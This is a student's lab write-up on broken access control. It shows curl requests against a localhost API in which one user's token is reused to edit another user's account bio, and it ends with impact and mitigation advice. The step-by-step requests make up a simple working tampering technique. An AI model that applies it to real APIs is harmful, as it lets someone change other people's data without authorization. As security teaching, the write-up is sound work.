Web Security Series #5 — Exploiting Broken Access Control via Token Misuse in API Endpoints

Access control mechanisms are essential for ensuring that users can only perform actions that they are authorized to execute. When these mechanisms are improperly implemented, attackers may manipulate requests to perform actions on resources that belong to other users. Such vulnerabilities fall under the category of Broken Access Control, one of the most critical risks identified in modern web applications.

In this write-up, I demonstrate how a misconfigured API endpoint allows one authenticated user to modify another user's account data by abusing a token-based authorization mechanism. The lab highlights how the application trusts client-supplied identifiers without verifying whether the token owner is authorized to modify the specified resource.

This article is part of my Web Security Series, where I document hands-on labs and practical exploitation techniques related to authentication and authorization vulnerabilities.

Understanding Broken Access Control

Broken access control occurs when an application fails to properly enforce restrictions on what authenticated users are allowed to do. Even though authentication may succeed, the system must still verify whether the user has permission to perform the requested action.

In secure implementations, authorization checks should ensure that:

• A user can only access or modify their own resources.
• Tokens are strictly bound to the identity they represent.
• API endpoints verify permissions server-side before performing sensitive operations.

When these checks are missing or incorrectly implemented, attackers may exploit the weakness to modify data belonging to other users.

When to Test for Broken Access Control

Testing for broken access control vulnerabilities is commonly performed during the reconnaissance and exploitation phases of a penetration test.

These vulnerabilities may be present when:

• APIs accept authorization tokens alongside resource identifiers such as usernames or IDs.
• Client-supplied values determine which resource will be modified.
• The server trusts the request parameters without validating ownership.

Under such conditions, attackers can attempt to reuse valid tokens to manipulate resources belonging to other users.

Lab Objective

The objective of this lab is to demonstrate that:

An authenticated user (Jeremy) can modify another user's account information (Jessamy) by reusing Jeremy's token when calling the account update API endpoint.

This confirms that the application fails to enforce proper authorization checks.

Lab Environment

During the analysis of the application, several API endpoints were identified:

EndpointFunctionPOST /api/login.phpAuthenticate user and return tokenGET /api/account.php?token=<token>Retrieve account detailsPUT /api/account.phpUpdate account details

The application uses a token-based mechanism to authorize API requests.

Step 1 — Authenticate and Obtain a Token

The first step is to authenticate as the user Jeremy to obtain a valid authorization token.

Example request:

curl -X POST -H "Content-Type: application/json" \
-d '{"username":"jeremy","password":"cheesecake"}' \
http://localhost/labs/api/login.php

curl -X POST -H "Content-Type: application/json" \
-d '{"username":"jeremy","password":"cheesecake"}' \
http://localhost/labs/api/login.php

The response contains a token that will be used in subsequent API requests.

Step 2 — Inspect the Token Payload

The token follows a structure similar to a JSON Web Token (JWT) format:

header.payload.signature

header.payload.signature

By decoding the payload section using base64, we can view the claims embedded in the token.

Example:

echo 'eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0' | base64 -d

echo 'eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0' | base64 -d

Decoded payload:

{"user":"jeremy","role":"staff"}

{"user":"jeremy","role":"staff"}

This reveals that the token belongs to the user Jeremy.

Step 3 — Retrieve Jeremy's Account Information

Using Jeremy's token, we can retrieve account details through the API.

Example request:

curl -X GET "http://localhost/labs/api/account.php?token=<JeremyToken>"

curl -X GET "http://localhost/labs/api/account.php?token=<JeremyToken>"

The response shows Jeremy's account data, including the bio field.

Step 4 — Update Jeremy's Own Account

Next, attempt to modify Jeremy's own account information.

Example request:

curl -X PUT -H "Content-Type: application/json" \
-d '{"token":"<JeremyToken>","username":"jeremy","bio":"New bio"}' \
http://localhost/labs/api/account.php

curl -X PUT -H "Content-Type: application/json" \
-d '{"token":"<JeremyToken>","username":"jeremy","bio":"New bio"}' \
http://localhost/labs/api/account.php

The request successfully updates Jeremy's bio.

This confirms that the endpoint accepts update requests using the provided token.

Step 5 — Attempt to Modify Another User's Account

To test whether proper authorization checks are implemented, attempt to modify the account of another user, Jessamy, while still using Jeremy's token.

Example request:

curl -X PUT -H "Content-Type: application/json" \
-d '{"token":"<JeremyToken>","username":"jessamy","bio":"New bio"}' \
http://localhost/labs/api/account.php

curl -X PUT -H "Content-Type: application/json" \
-d '{"token":"<JeremyToken>","username":"jessamy","bio":"New bio"}' \
http://localhost/labs/api/account.php

If the server correctly enforced authorization, this request should be rejected.

However, the application accepts the request and updates Jessamy's bio.

Result and Analysis

The server accepted Jeremy's token and allowed modification of Jessamy's account information.

This confirms that the API fails to verify whether the token owner is authorized to modify the specified account.

Instead, the server trusts the client-supplied username parameter without validating ownership.

This behavior represents a classic Broken Access Control vulnerability.

Security Impact

Broken access control vulnerabilities can lead to severe consequences, including:

• Unauthorized modification of user data
• Account takeover scenarios
• Privilege escalation
• Exposure or manipulation of sensitive information

Because of their high impact, broken access control vulnerabilities consistently rank among the most critical issues in web application security.

Mitigation Strategies

Developers can prevent such vulnerabilities by implementing strict authorization controls:

• Verify that the token owner matches the resource being modified
• Enforce role-based access control on sensitive operations
• Avoid trusting client-supplied identifiers
• Perform authorization checks server-side for every request

These practices ensure that authenticated users cannot modify resources outside their authorized scope.

Conclusion

This lab demonstrated how improper authorization checks in a token-based API can lead to Broken Access Control vulnerabilities.

By reusing a valid token belonging to one user, it was possible to modify another user's account information, highlighting the importance of properly binding tokens to resource ownership.

Understanding these vulnerabilities is essential for security researchers and developers to ensure that web applications enforce strong access control mechanisms.

Acknowledgment

This learning journey and practical understanding of web security concepts would not have been possible without the mentorship and guidance of my tutor, whose support has been invaluable throughout my cybersecurity studies.

Connect With Me

If you found this write-up helpful, feel free to follow my cybersecurity learning journey.

🔗 LinkedIn: www.linkedin.com/in/laibakashif0011